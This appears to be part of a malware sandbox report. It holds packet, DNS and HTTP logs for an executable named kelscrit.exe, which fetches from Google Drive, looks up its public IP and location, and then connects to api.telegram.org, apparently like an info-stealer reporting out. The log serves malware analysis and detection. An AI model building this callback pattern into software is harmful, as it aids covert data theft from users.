Dec 3, 2024 10:12:17.066761971 CET	443	49764	142.250.181.129	192.168.2.4
Dec 3, 2024 10:12:17.066809893 CET	49764	443	192.168.2.4	142.250.181.129
Dec 3, 2024 10:12:17.075804949 CET	443	49764	142.250.181.129	192.168.2.4
Dec 3, 2024 10:12:17.075859070 CET	49764	443	192.168.2.4	142.250.181.129
Dec 3, 2024 10:12:17.075886965 CET	443	49764	142.250.181.129	192.168.2.4
Dec 3, 2024 10:12:17.075939894 CET	49764	443	192.168.2.4	142.250.181.129
Dec 3, 2024 10:12:17.076447964 CET	443	49764	142.250.181.129	192.168.2.4
Dec 3, 2024 10:12:17.076503992 CET	49764	443	192.168.2.4	142.250.181.129
Dec 3, 2024 10:12:17.076513052 CET	443	49764	142.250.181.129	192.168.2.4
Dec 3, 2024 10:12:17.076581001 CET	49764	443	192.168.2.4	142.250.181.129
Dec 3, 2024 10:12:17.077809095 CET	443	49764	142.250.181.129	192.168.2.4
Dec 3, 2024 10:12:17.077851057 CET	49764	443	192.168.2.4	142.250.181.129
Dec 3, 2024 10:12:17.079051018 CET	443	49764	142.250.181.129	192.168.2.4
Dec 3, 2024 10:12:17.079102039 CET	49764	443	192.168.2.4	142.250.181.129
Dec 3, 2024 10:12:17.087115049 CET	443	49764	142.250.181.129	192.168.2.4
Dec 3, 2024 10:12:17.087167025 CET	49764	443	192.168.2.4	142.250.181.129
Dec 3, 2024 10:12:17.087188959 CET	443	49764	142.250.181.129	192.168.2.4
Dec 3, 2024 10:12:17.087236881 CET	49764	443	192.168.2.4	142.250.181.129
Dec 3, 2024 10:12:17.087249994 CET	443	49764	142.250.181.129	192.168.2.4
Dec 3, 2024 10:12:17.087330103 CET	49764	443	192.168.2.4	142.250.181.129
Dec 3, 2024 10:12:17.087333918 CET	443	49764	142.250.181.129	192.168.2.4
Dec 3, 2024 10:12:17.087347031 CET	443	49764	142.250.181.129	192.168.2.4
Dec 3, 2024 10:12:17.087372065 CET	49764	443	192.168.2.4	142.250.181.129
Dec 3, 2024 10:12:17.087388039 CET	49764	443	192.168.2.4	142.250.181.129
Dec 3, 2024 10:12:17.087496996 CET	49764	443	192.168.2.4	142.250.181.129
Dec 3, 2024 10:12:17.087512016 CET	443	49764	142.250.181.129	192.168.2.4
Dec 3, 2024 10:12:17.087536097 CET	49764	443	192.168.2.4	142.250.181.129
Dec 3, 2024 10:12:17.087552071 CET	49764	443	192.168.2.4	142.250.181.129
Dec 3, 2024 10:12:17.495613098 CET	49780	80	192.168.2.4	158.101.44.242
Dec 3, 2024 10:12:17.616097927 CET	80	49780	158.101.44.242	192.168.2.4
Dec 3, 2024 10:12:17.616214991 CET	49780	80	192.168.2.4	158.101.44.242
Dec 3, 2024 10:12:17.616588116 CET	49780	80	192.168.2.4	158.101.44.242
Dec 3, 2024 10:12:17.736479044 CET	80	49780	158.101.44.242	192.168.2.4
Dec 3, 2024 10:12:18.821759939 CET	80	49780	158.101.44.242	192.168.2.4
Dec 3, 2024 10:12:18.829037905 CET	49780	80	192.168.2.4	158.101.44.242
Dec 3, 2024 10:12:18.949032068 CET	80	49780	158.101.44.242	192.168.2.4
Dec 3, 2024 10:12:19.203068972 CET	80	49780	158.101.44.242	192.168.2.4
Dec 3, 2024 10:12:19.259207964 CET	49780	80	192.168.2.4	158.101.44.242
Dec 3, 2024 10:12:19.684802055 CET	49786	443	192.168.2.4	172.67.177.134
Dec 3, 2024 10:12:19.684864998 CET	443	49786	172.67.177.134	192.168.2.4
Dec 3, 2024 10:12:19.684937000 CET	49786	443	192.168.2.4	172.67.177.134
Dec 3, 2024 10:12:19.689001083 CET	49786	443	192.168.2.4	172.67.177.134
Dec 3, 2024 10:12:19.689026117 CET	443	49786	172.67.177.134	192.168.2.4
Dec 3, 2024 10:12:20.954865932 CET	443	49786	172.67.177.134	192.168.2.4
Dec 3, 2024 10:12:20.955003977 CET	49786	443	192.168.2.4	172.67.177.134
Dec 3, 2024 10:12:20.958551884 CET	49786	443	192.168.2.4	172.67.177.134
Dec 3, 2024 10:12:20.958575964 CET	443	49786	172.67.177.134	192.168.2.4
Dec 3, 2024 10:12:20.958940983 CET	443	49786	172.67.177.134	192.168.2.4
Dec 3, 2024 10:12:20.961987019 CET	49786	443	192.168.2.4	172.67.177.134
Dec 3, 2024 10:12:21.003341913 CET	443	49786	172.67.177.134	192.168.2.4
Dec 3, 2024 10:12:21.403837919 CET	443	49786	172.67.177.134	192.168.2.4
Dec 3, 2024 10:12:21.403907061 CET	443	49786	172.67.177.134	192.168.2.4
Dec 3, 2024 10:12:21.403953075 CET	49786	443	192.168.2.4	172.67.177.134
Dec 3, 2024 10:12:21.409971952 CET	49786	443	192.168.2.4	172.67.177.134
Dec 3, 2024 10:12:21.420975924 CET	49780	80	192.168.2.4	158.101.44.242
Dec 3, 2024 10:12:21.541074038 CET	80	49780	158.101.44.242	192.168.2.4
Dec 3, 2024 10:12:21.798348904 CET	80	49780	158.101.44.242	192.168.2.4
Dec 3, 2024 10:12:21.806783915 CET	49792	443	192.168.2.4	172.67.177.134
Dec 3, 2024 10:12:21.806849957 CET	443	49792	172.67.177.134	192.168.2.4
Dec 3, 2024 10:12:21.808926105 CET	49792	443	192.168.2.4	172.67.177.134
Dec 3, 2024 10:12:21.809261084 CET	49792	443	192.168.2.4	172.67.177.134
Dec 3, 2024 10:12:21.809278011 CET	443	49792	172.67.177.134	192.168.2.4
Dec 3, 2024 10:12:21.852982998 CET	49780	80	192.168.2.4	158.101.44.242
Dec 3, 2024 10:12:23.112236023 CET	443	49792	172.67.177.134	192.168.2.4
Dec 3, 2024 10:12:23.114057064 CET	49792	443	192.168.2.4	172.67.177.134
Dec 3, 2024 10:12:23.114073992 CET	443	49792	172.67.177.134	192.168.2.4
Dec 3, 2024 10:12:23.574625969 CET	443	49792	172.67.177.134	192.168.2.4
Dec 3, 2024 10:12:23.574706078 CET	443	49792	172.67.177.134	192.168.2.4
Dec 3, 2024 10:12:23.574753046 CET	49792	443	192.168.2.4	172.67.177.134
Dec 3, 2024 10:12:23.575249910 CET	49792	443	192.168.2.4	172.67.177.134
Dec 3, 2024 10:12:23.578865051 CET	49780	80	192.168.2.4	158.101.44.242
Dec 3, 2024 10:12:23.580019951 CET	49797	80	192.168.2.4	158.101.44.242
Dec 3, 2024 10:12:23.699238062 CET	80	49780	158.101.44.242	192.168.2.4
Dec 3, 2024 10:12:23.699297905 CET	49780	80	192.168.2.4	158.101.44.242
Dec 3, 2024 10:12:23.699938059 CET	80	49797	158.101.44.242	192.168.2.4
Dec 3, 2024 10:12:23.700010061 CET	49797	80	192.168.2.4	158.101.44.242
Dec 3, 2024 10:12:23.700139999 CET	49797	80	192.168.2.4	158.101.44.242
Dec 3, 2024 10:12:23.819974899 CET	80	49797	158.101.44.242	192.168.2.4
Dec 3, 2024 10:12:24.996876955 CET	80	49797	158.101.44.242	192.168.2.4
Dec 3, 2024 10:12:24.998220921 CET	49799	443	192.168.2.4	172.67.177.134
Dec 3, 2024 10:12:24.998275042 CET	443	49799	172.67.177.134	192.168.2.4
Dec 3, 2024 10:12:24.998347998 CET	49799	443	192.168.2.4	172.67.177.134
Dec 3, 2024 10:12:24.998670101 CET	49799	443	192.168.2.4	172.67.177.134
Dec 3, 2024 10:12:24.998683929 CET	443	49799	172.67.177.134	192.168.2.4
Dec 3, 2024 10:12:25.040505886 CET	49797	80	192.168.2.4	158.101.44.242
Dec 3, 2024 10:12:26.278069973 CET	443	49799	172.67.177.134	192.168.2.4
Dec 3, 2024 10:12:26.279726982 CET	49799	443	192.168.2.4	172.67.177.134
Dec 3, 2024 10:12:26.279774904 CET	443	49799	172.67.177.134	192.168.2.4
Dec 3, 2024 10:12:26.735584974 CET	443	49799	172.67.177.134	192.168.2.4
Dec 3, 2024 10:12:26.735663891 CET	443	49799	172.67.177.134	192.168.2.4
Dec 3, 2024 10:12:26.735714912 CET	49799	443	192.168.2.4	172.67.177.134
Dec 3, 2024 10:12:26.736135960 CET	49799	443	192.168.2.4	172.67.177.134
Dec 3, 2024 10:12:26.740678072 CET	49805	80	192.168.2.4	158.101.44.242
Dec 3, 2024 10:12:26.861346006 CET	80	49805	158.101.44.242	192.168.2.4
Dec 3, 2024 10:12:26.861609936 CET	49805	80	192.168.2.4	158.101.44.242
Dec 3, 2024 10:12:26.861700058 CET	49805	80	192.168.2.4	158.101.44.242
Dec 3, 2024 10:12:26.981625080 CET	80	49805	158.101.44.242	192.168.2.4
Dec 3, 2024 10:12:28.064918041 CET	80	49805	158.101.44.242	192.168.2.4
Dec 3, 2024 10:12:28.066605091 CET	49810	443	192.168.2.4	172.67.177.134
Dec 3, 2024 10:12:28.066656113 CET	443	49810	172.67.177.134	192.168.2.4
Dec 3, 2024 10:12:28.066724062 CET	49810	443	192.168.2.4	172.67.177.134
Dec 3, 2024 10:12:28.067012072 CET	49810	443	192.168.2.4	172.67.177.134
Dec 3, 2024 10:12:28.067023039 CET	443	49810	172.67.177.134	192.168.2.4
Dec 3, 2024 10:12:28.118663073 CET	49805	80	192.168.2.4	158.101.44.242
Dec 3, 2024 10:12:29.324187040 CET	443	49810	172.67.177.134	192.168.2.4
Dec 3, 2024 10:12:29.325820923 CET	49810	443	192.168.2.4	172.67.177.134
Dec 3, 2024 10:12:29.325882912 CET	443	49810	172.67.177.134	192.168.2.4
Dec 3, 2024 10:12:29.778614044 CET	443	49810	172.67.177.134	192.168.2.4
Dec 3, 2024 10:12:29.778687954 CET	443	49810	172.67.177.134	192.168.2.4
Dec 3, 2024 10:12:29.778742075 CET	49810	443	192.168.2.4	172.67.177.134
Dec 3, 2024 10:12:29.831145048 CET	49810	443	192.168.2.4	172.67.177.134
Dec 3, 2024 10:12:29.837409019 CET	49805	80	192.168.2.4	158.101.44.242
Dec 3, 2024 10:12:29.838078022 CET	49813	80	192.168.2.4	158.101.44.242
Dec 3, 2024 10:12:29.957938910 CET	80	49805	158.101.44.242	192.168.2.4
Dec 3, 2024 10:12:29.958022118 CET	49805	80	192.168.2.4	158.101.44.242
Dec 3, 2024 10:12:29.958110094 CET	80	49813	158.101.44.242	192.168.2.4
Dec 3, 2024 10:12:29.958174944 CET	49813	80	192.168.2.4	158.101.44.242
Dec 3, 2024 10:12:29.959621906 CET	49813	80	192.168.2.4	158.101.44.242
Dec 3, 2024 10:12:30.079766035 CET	80	49813	158.101.44.242	192.168.2.4
Dec 3, 2024 10:12:31.264360905 CET	80	49813	158.101.44.242	192.168.2.4
Dec 3, 2024 10:12:31.265746117 CET	49818	443	192.168.2.4	172.67.177.134
Dec 3, 2024 10:12:31.265789986 CET	443	49818	172.67.177.134	192.168.2.4
Dec 3, 2024 10:12:31.265855074 CET	49818	443	192.168.2.4	172.67.177.134
Dec 3, 2024 10:12:31.266117096 CET	49818	443	192.168.2.4	172.67.177.134
Dec 3, 2024 10:12:31.266128063 CET	443	49818	172.67.177.134	192.168.2.4
Dec 3, 2024 10:12:31.306097984 CET	49813	80	192.168.2.4	158.101.44.242
Dec 3, 2024 10:12:32.524437904 CET	443	49818	172.67.177.134	192.168.2.4
Dec 3, 2024 10:12:32.526165962 CET	49818	443	192.168.2.4	172.67.177.134
Dec 3, 2024 10:12:32.526253939 CET	443	49818	172.67.177.134	192.168.2.4
Dec 3, 2024 10:12:32.979283094 CET	443	49818	172.67.177.134	192.168.2.4
Dec 3, 2024 10:12:32.979352951 CET	443	49818	172.67.177.134	192.168.2.4
Dec 3, 2024 10:12:32.979417086 CET	49818	443	192.168.2.4	172.67.177.134
Dec 3, 2024 10:12:32.979835033 CET	49818	443	192.168.2.4	172.67.177.134
Dec 3, 2024 10:12:32.984544992 CET	49813	80	192.168.2.4	158.101.44.242
Dec 3, 2024 10:12:32.985117912 CET	49824	80	192.168.2.4	158.101.44.242
Dec 3, 2024 10:12:33.104793072 CET	80	49813	158.101.44.242	192.168.2.4
Dec 3, 2024 10:12:33.104899883 CET	49813	80	192.168.2.4	158.101.44.242
Dec 3, 2024 10:12:33.105096102 CET	80	49824	158.101.44.242	192.168.2.4
Dec 3, 2024 10:12:33.105207920 CET	49824	80	192.168.2.4	158.101.44.242
Dec 3, 2024 10:12:33.105331898 CET	49824	80	192.168.2.4	158.101.44.242
Dec 3, 2024 10:12:33.225308895 CET	80	49824	158.101.44.242	192.168.2.4
Dec 3, 2024 10:12:34.356170893 CET	80	49824	158.101.44.242	192.168.2.4
Dec 3, 2024 10:12:34.357583046 CET	49827	443	192.168.2.4	172.67.177.134
Dec 3, 2024 10:12:34.357624054 CET	443	49827	172.67.177.134	192.168.2.4
Dec 3, 2024 10:12:34.357698917 CET	49827	443	192.168.2.4	172.67.177.134
Dec 3, 2024 10:12:34.357944965 CET	49827	443	192.168.2.4	172.67.177.134
Dec 3, 2024 10:12:34.357960939 CET	443	49827	172.67.177.134	192.168.2.4
Dec 3, 2024 10:12:34.399863958 CET	49824	80	192.168.2.4	158.101.44.242
Dec 3, 2024 10:12:35.662151098 CET	443	49827	172.67.177.134	192.168.2.4
Dec 3, 2024 10:12:35.664005041 CET	49827	443	192.168.2.4	172.67.177.134
Dec 3, 2024 10:12:35.664045095 CET	443	49827	172.67.177.134	192.168.2.4
Dec 3, 2024 10:12:36.127197981 CET	443	49827	172.67.177.134	192.168.2.4
Dec 3, 2024 10:12:36.127274036 CET	443	49827	172.67.177.134	192.168.2.4
Dec 3, 2024 10:12:36.127348900 CET	49827	443	192.168.2.4	172.67.177.134
Dec 3, 2024 10:12:36.127851009 CET	49827	443	192.168.2.4	172.67.177.134
Dec 3, 2024 10:12:36.131484032 CET	49824	80	192.168.2.4	158.101.44.242
Dec 3, 2024 10:12:36.132652998 CET	49831	80	192.168.2.4	158.101.44.242
Dec 3, 2024 10:12:36.251854897 CET	80	49824	158.101.44.242	192.168.2.4
Dec 3, 2024 10:12:36.251931906 CET	49824	80	192.168.2.4	158.101.44.242
Dec 3, 2024 10:12:36.252598047 CET	80	49831	158.101.44.242	192.168.2.4
Dec 3, 2024 10:12:36.252675056 CET	49831	80	192.168.2.4	158.101.44.242
Dec 3, 2024 10:12:36.252856016 CET	49831	80	192.168.2.4	158.101.44.242
Dec 3, 2024 10:12:36.373519897 CET	80	49831	158.101.44.242	192.168.2.4
Dec 3, 2024 10:12:37.550146103 CET	80	49831	158.101.44.242	192.168.2.4
Dec 3, 2024 10:12:37.551403046 CET	49837	443	192.168.2.4	172.67.177.134
Dec 3, 2024 10:12:37.551445961 CET	443	49837	172.67.177.134	192.168.2.4
Dec 3, 2024 10:12:37.551515102 CET	49837	443	192.168.2.4	172.67.177.134
Dec 3, 2024 10:12:37.551791906 CET	49837	443	192.168.2.4	172.67.177.134
Dec 3, 2024 10:12:37.551801920 CET	443	49837	172.67.177.134	192.168.2.4
Dec 3, 2024 10:12:37.602988958 CET	49831	80	192.168.2.4	158.101.44.242
Dec 3, 2024 10:12:38.809623003 CET	443	49837	172.67.177.134	192.168.2.4
Dec 3, 2024 10:12:38.811384916 CET	49837	443	192.168.2.4	172.67.177.134
Dec 3, 2024 10:12:38.811429024 CET	443	49837	172.67.177.134	192.168.2.4
Dec 3, 2024 10:12:39.264758110 CET	443	49837	172.67.177.134	192.168.2.4
Dec 3, 2024 10:12:39.264836073 CET	443	49837	172.67.177.134	192.168.2.4
Dec 3, 2024 10:12:39.264885902 CET	49837	443	192.168.2.4	172.67.177.134
Dec 3, 2024 10:12:39.265428066 CET	49837	443	192.168.2.4	172.67.177.134
Dec 3, 2024 10:12:39.270802975 CET	49831	80	192.168.2.4	158.101.44.242
Dec 3, 2024 10:12:39.272413969 CET	49842	80	192.168.2.4	158.101.44.242
Dec 3, 2024 10:12:39.392174959 CET	80	49831	158.101.44.242	192.168.2.4
Dec 3, 2024 10:12:39.392324924 CET	49831	80	192.168.2.4	158.101.44.242
Dec 3, 2024 10:12:39.393229961 CET	80	49842	158.101.44.242	192.168.2.4
Dec 3, 2024 10:12:39.393302917 CET	49842	80	192.168.2.4	158.101.44.242
Dec 3, 2024 10:12:39.393455982 CET	49842	80	192.168.2.4	158.101.44.242
Dec 3, 2024 10:12:39.514514923 CET	80	49842	158.101.44.242	192.168.2.4
Dec 3, 2024 10:12:40.706495047 CET	80	49842	158.101.44.242	192.168.2.4
Dec 3, 2024 10:12:40.707819939 CET	49844	443	192.168.2.4	172.67.177.134
Dec 3, 2024 10:12:40.707879066 CET	443	49844	172.67.177.134	192.168.2.4
Dec 3, 2024 10:12:40.707990885 CET	49844	443	192.168.2.4	172.67.177.134
Dec 3, 2024 10:12:40.708221912 CET	49844	443	192.168.2.4	172.67.177.134
Dec 3, 2024 10:12:40.708235979 CET	443	49844	172.67.177.134	192.168.2.4
Dec 3, 2024 10:12:40.759288073 CET	49842	80	192.168.2.4	158.101.44.242
Dec 3, 2024 10:12:41.919415951 CET	443	49844	172.67.177.134	192.168.2.4
Dec 3, 2024 10:12:41.921037912 CET	49844	443	192.168.2.4	172.67.177.134
Dec 3, 2024 10:12:41.921077967 CET	443	49844	172.67.177.134	192.168.2.4
Dec 3, 2024 10:12:42.365473032 CET	443	49844	172.67.177.134	192.168.2.4
Dec 3, 2024 10:12:42.365541935 CET	443	49844	172.67.177.134	192.168.2.4
Dec 3, 2024 10:12:42.365622997 CET	49844	443	192.168.2.4	172.67.177.134
Dec 3, 2024 10:12:42.366106033 CET	49844	443	192.168.2.4	172.67.177.134
Dec 3, 2024 10:12:42.369667053 CET	49842	80	192.168.2.4	158.101.44.242
Dec 3, 2024 10:12:42.370250940 CET	49850	80	192.168.2.4	158.101.44.242
Dec 3, 2024 10:12:42.490022898 CET	80	49842	158.101.44.242	192.168.2.4
Dec 3, 2024 10:12:42.490144968 CET	80	49850	158.101.44.242	192.168.2.4
Dec 3, 2024 10:12:42.490209103 CET	49842	80	192.168.2.4	158.101.44.242
Dec 3, 2024 10:12:42.490278959 CET	49850	80	192.168.2.4	158.101.44.242
Dec 3, 2024 10:12:42.490459919 CET	49850	80	192.168.2.4	158.101.44.242
Dec 3, 2024 10:12:42.610328913 CET	80	49850	158.101.44.242	192.168.2.4
Dec 3, 2024 10:12:43.785778046 CET	80	49850	158.101.44.242	192.168.2.4
Dec 3, 2024 10:12:43.787394047 CET	49855	443	192.168.2.4	172.67.177.134
Dec 3, 2024 10:12:43.787435055 CET	443	49855	172.67.177.134	192.168.2.4
Dec 3, 2024 10:12:43.787519932 CET	49855	443	192.168.2.4	172.67.177.134
Dec 3, 2024 10:12:43.787898064 CET	49855	443	192.168.2.4	172.67.177.134
Dec 3, 2024 10:12:43.787913084 CET	443	49855	172.67.177.134	192.168.2.4
Dec 3, 2024 10:12:43.837424994 CET	49850	80	192.168.2.4	158.101.44.242
Dec 3, 2024 10:12:45.091998100 CET	443	49855	172.67.177.134	192.168.2.4
Dec 3, 2024 10:12:45.094413042 CET	49855	443	192.168.2.4	172.67.177.134
Dec 3, 2024 10:12:45.094444036 CET	443	49855	172.67.177.134	192.168.2.4
Dec 3, 2024 10:12:45.562236071 CET	443	49855	172.67.177.134	192.168.2.4
Dec 3, 2024 10:12:45.562315941 CET	443	49855	172.67.177.134	192.168.2.4
Dec 3, 2024 10:12:45.562380075 CET	49855	443	192.168.2.4	172.67.177.134
Dec 3, 2024 10:12:45.562845945 CET	49855	443	192.168.2.4	172.67.177.134
Dec 3, 2024 10:12:45.599054098 CET	49850	80	192.168.2.4	158.101.44.242
Dec 3, 2024 10:12:45.719295979 CET	80	49850	158.101.44.242	192.168.2.4
Dec 3, 2024 10:12:45.719382048 CET	49850	80	192.168.2.4	158.101.44.242
Dec 3, 2024 10:12:45.737871885 CET	49861	443	192.168.2.4	149.154.167.220
Dec 3, 2024 10:12:45.737904072 CET	443	49861	149.154.167.220	192.168.2.4
Dec 3, 2024 10:12:45.737977028 CET	49861	443	192.168.2.4	149.154.167.220
Dec 3, 2024 10:12:45.738483906 CET	49861	443	192.168.2.4	149.154.167.220
Dec 3, 2024 10:12:45.738497972 CET	443	49861	149.154.167.220	192.168.2.4
Dec 3, 2024 10:12:47.114875078 CET	443	49861	149.154.167.220	192.168.2.4
Dec 3, 2024 10:12:47.115022898 CET	49861	443	192.168.2.4	149.154.167.220
Dec 3, 2024 10:12:47.117023945 CET	49861	443	192.168.2.4	149.154.167.220
Dec 3, 2024 10:12:47.117034912 CET	443	49861	149.154.167.220	192.168.2.4
Dec 3, 2024 10:12:47.117291927 CET	443	49861	149.154.167.220	192.168.2.4
Dec 3, 2024 10:12:47.118834019 CET	49861	443	192.168.2.4	149.154.167.220
Dec 3, 2024 10:12:47.159332037 CET	443	49861	149.154.167.220	192.168.2.4
Dec 3, 2024 10:12:47.624250889 CET	443	49861	149.154.167.220	192.168.2.4
Dec 3, 2024 10:12:47.624327898 CET	443	49861	149.154.167.220	192.168.2.4
Dec 3, 2024 10:12:47.624413967 CET	49861	443	192.168.2.4	149.154.167.220
Dec 3, 2024 10:12:47.631717920 CET	49861	443	192.168.2.4	149.154.167.220
Dec 3, 2024 10:12:53.477966070 CET	49797	80	192.168.2.4	158.101.44.242
Dec 3, 2024 10:12:53.665608883 CET	49876	443	192.168.2.4	149.154.167.220
Dec 3, 2024 10:12:53.665658951 CET	443	49876	149.154.167.220	192.168.2.4
Dec 3, 2024 10:12:53.665746927 CET	49876	443	192.168.2.4	149.154.167.220
Dec 3, 2024 10:12:53.665994883 CET	49876	443	192.168.2.4	149.154.167.220
Dec 3, 2024 10:12:53.666013956 CET	443	49876	149.154.167.220	192.168.2.4
Dec 3, 2024 10:12:55.107736111 CET	443	49876	149.154.167.220	192.168.2.4
Dec 3, 2024 10:12:55.109617949 CET	49876	443	192.168.2.4	149.154.167.220
Dec 3, 2024 10:12:55.109654903 CET	443	49876	149.154.167.220	192.168.2.4
Dec 3, 2024 10:12:55.109730005 CET	49876	443	192.168.2.4	149.154.167.220
Dec 3, 2024 10:12:55.109735966 CET	443	49876	149.154.167.220	192.168.2.4
Dec 3, 2024 10:12:55.674973965 CET	443	49876	149.154.167.220	192.168.2.4
Dec 3, 2024 10:12:55.675071001 CET	443	49876	149.154.167.220	192.168.2.4
Dec 3, 2024 10:12:55.675142050 CET	49876	443	192.168.2.4	149.154.167.220
Dec 3, 2024 10:12:55.675688028 CET	49876	443	192.168.2.4	149.154.167.220
Dec 3, 2024 10:12:57.194525957 CET	49884	443	192.168.2.4	149.154.167.220
Dec 3, 2024 10:12:57.194567919 CET	443	49884	149.154.167.220	192.168.2.4
Dec 3, 2024 10:12:57.194669962 CET	49884	443	192.168.2.4	149.154.167.220
Dec 3, 2024 10:12:57.194902897 CET	49884	443	192.168.2.4	149.154.167.220
Dec 3, 2024 10:12:57.194916964 CET	443	49884	149.154.167.220	192.168.2.4
Dec 3, 2024 10:12:58.555470943 CET	443	49884	149.154.167.220	192.168.2.4
Dec 3, 2024 10:12:58.557137966 CET	49884	443	192.168.2.4	149.154.167.220
Dec 3, 2024 10:12:58.557147980 CET	443	49884	149.154.167.220	192.168.2.4
Dec 3, 2024 10:12:58.557228088 CET	49884	443	192.168.2.4	149.154.167.220
Dec 3, 2024 10:12:58.557236910 CET	443	49884	149.154.167.220	192.168.2.4
Dec 3, 2024 10:12:59.181731939 CET	443	49884	149.154.167.220	192.168.2.4
Dec 3, 2024 10:12:59.181891918 CET	443	49884	149.154.167.220	192.168.2.4
Dec 3, 2024 10:12:59.181956053 CET	49884	443	192.168.2.4	149.154.167.220
Dec 3, 2024 10:12:59.182240009 CET	49884	443	192.168.2.4	149.154.167.220

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 3, 2024 10:12:08.568227053 CET	64114	53	192.168.2.4	1.1.1.1
Dec 3, 2024 10:12:08.705864906 CET	53	64114	1.1.1.1	192.168.2.4
Dec 3, 2024 10:12:11.453140020 CET	50203	53	192.168.2.4	1.1.1.1
Dec 3, 2024 10:12:11.591275930 CET	53	50203	1.1.1.1	192.168.2.4
Dec 3, 2024 10:12:17.353157043 CET	61267	53	192.168.2.4	1.1.1.1
Dec 3, 2024 10:12:17.490606070 CET	53	61267	1.1.1.1	192.168.2.4
Dec 3, 2024 10:12:19.541251898 CET	60696	53	192.168.2.4	1.1.1.1
Dec 3, 2024 10:12:19.683764935 CET	53	60696	1.1.1.1	192.168.2.4
Dec 3, 2024 10:12:45.599776983 CET	58602	53	192.168.2.4	1.1.1.1
Dec 3, 2024 10:12:45.737117052 CET	53	58602	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 3, 2024 10:12:08.568227053 CET	192.168.2.4	1.1.1.1	0xfcef	Standard query (0)	drive.google.com	A (IP address)	IN (0x0001)	false
Dec 3, 2024 10:12:11.453140020 CET	192.168.2.4	1.1.1.1	0xd77c	Standard query (0)	drive.usercontent.google.com	A (IP address)	IN (0x0001)	false
Dec 3, 2024 10:12:17.353157043 CET	192.168.2.4	1.1.1.1	0x5c3b	Standard query (0)	checkip.dyndns.org	A (IP address)	IN (0x0001)	false
Dec 3, 2024 10:12:19.541251898 CET	192.168.2.4	1.1.1.1	0x7224	Standard query (0)	reallyfreegeoip.org	A (IP address)	IN (0x0001)	false
Dec 3, 2024 10:12:45.599776983 CET	192.168.2.4	1.1.1.1	0xed91	Standard query (0)	api.telegram.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 3, 2024 10:12:08.705864906 CET	1.1.1.1	192.168.2.4	0xfcef	No error (0)	drive.google.com		172.217.19.238	A (IP address)	IN (0x0001)	false
Dec 3, 2024 10:12:11.591275930 CET	1.1.1.1	192.168.2.4	0xd77c	No error (0)	drive.usercontent.google.com		142.250.181.129	A (IP address)	IN (0x0001)	false
Dec 3, 2024 10:12:17.490606070 CET	1.1.1.1	192.168.2.4	0x5c3b	No error (0)	checkip.dyndns.org	checkip.dyndns.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 3, 2024 10:12:17.490606070 CET	1.1.1.1	192.168.2.4	0x5c3b	No error (0)	checkip.dyndns.com		158.101.44.242	A (IP address)	IN (0x0001)	false
Dec 3, 2024 10:12:17.490606070 CET	1.1.1.1	192.168.2.4	0x5c3b	No error (0)	checkip.dyndns.com		132.226.247.73	A (IP address)	IN (0x0001)	false
Dec 3, 2024 10:12:17.490606070 CET	1.1.1.1	192.168.2.4	0x5c3b	No error (0)	checkip.dyndns.com		193.122.130.0	A (IP address)	IN (0x0001)	false
Dec 3, 2024 10:12:17.490606070 CET	1.1.1.1	192.168.2.4	0x5c3b	No error (0)	checkip.dyndns.com		193.122.6.168	A (IP address)	IN (0x0001)	false
Dec 3, 2024 10:12:17.490606070 CET	1.1.1.1	192.168.2.4	0x5c3b	No error (0)	checkip.dyndns.com		132.226.8.169	A (IP address)	IN (0x0001)	false
Dec 3, 2024 10:12:19.683764935 CET	1.1.1.1	192.168.2.4	0x7224	No error (0)	reallyfreegeoip.org		172.67.177.134	A (IP address)	IN (0x0001)	false
Dec 3, 2024 10:12:19.683764935 CET	1.1.1.1	192.168.2.4	0x7224	No error (0)	reallyfreegeoip.org		104.21.67.152	A (IP address)	IN (0x0001)	false
Dec 3, 2024 10:12:45.737117052 CET	1.1.1.1	192.168.2.4	0xed91	No error (0)	api.telegram.org		149.154.167.220	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

drive.google.com

drive.usercontent.google.com

reallyfreegeoip.org

api.telegram.org

checkip.dyndns.org

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49780	158.101.44.242	80	5756	C:\Users\user\Desktop\kelscrit.exe

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 10:12:17.616588116 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Dec 3, 2024 10:12:18.821759939 CET	321	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 09:12:18 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: a7552d68f095f6ea2ae5457d626de459 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 32 32 38 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.228</body></html>
Dec 3, 2024 10:12:18.829037905 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
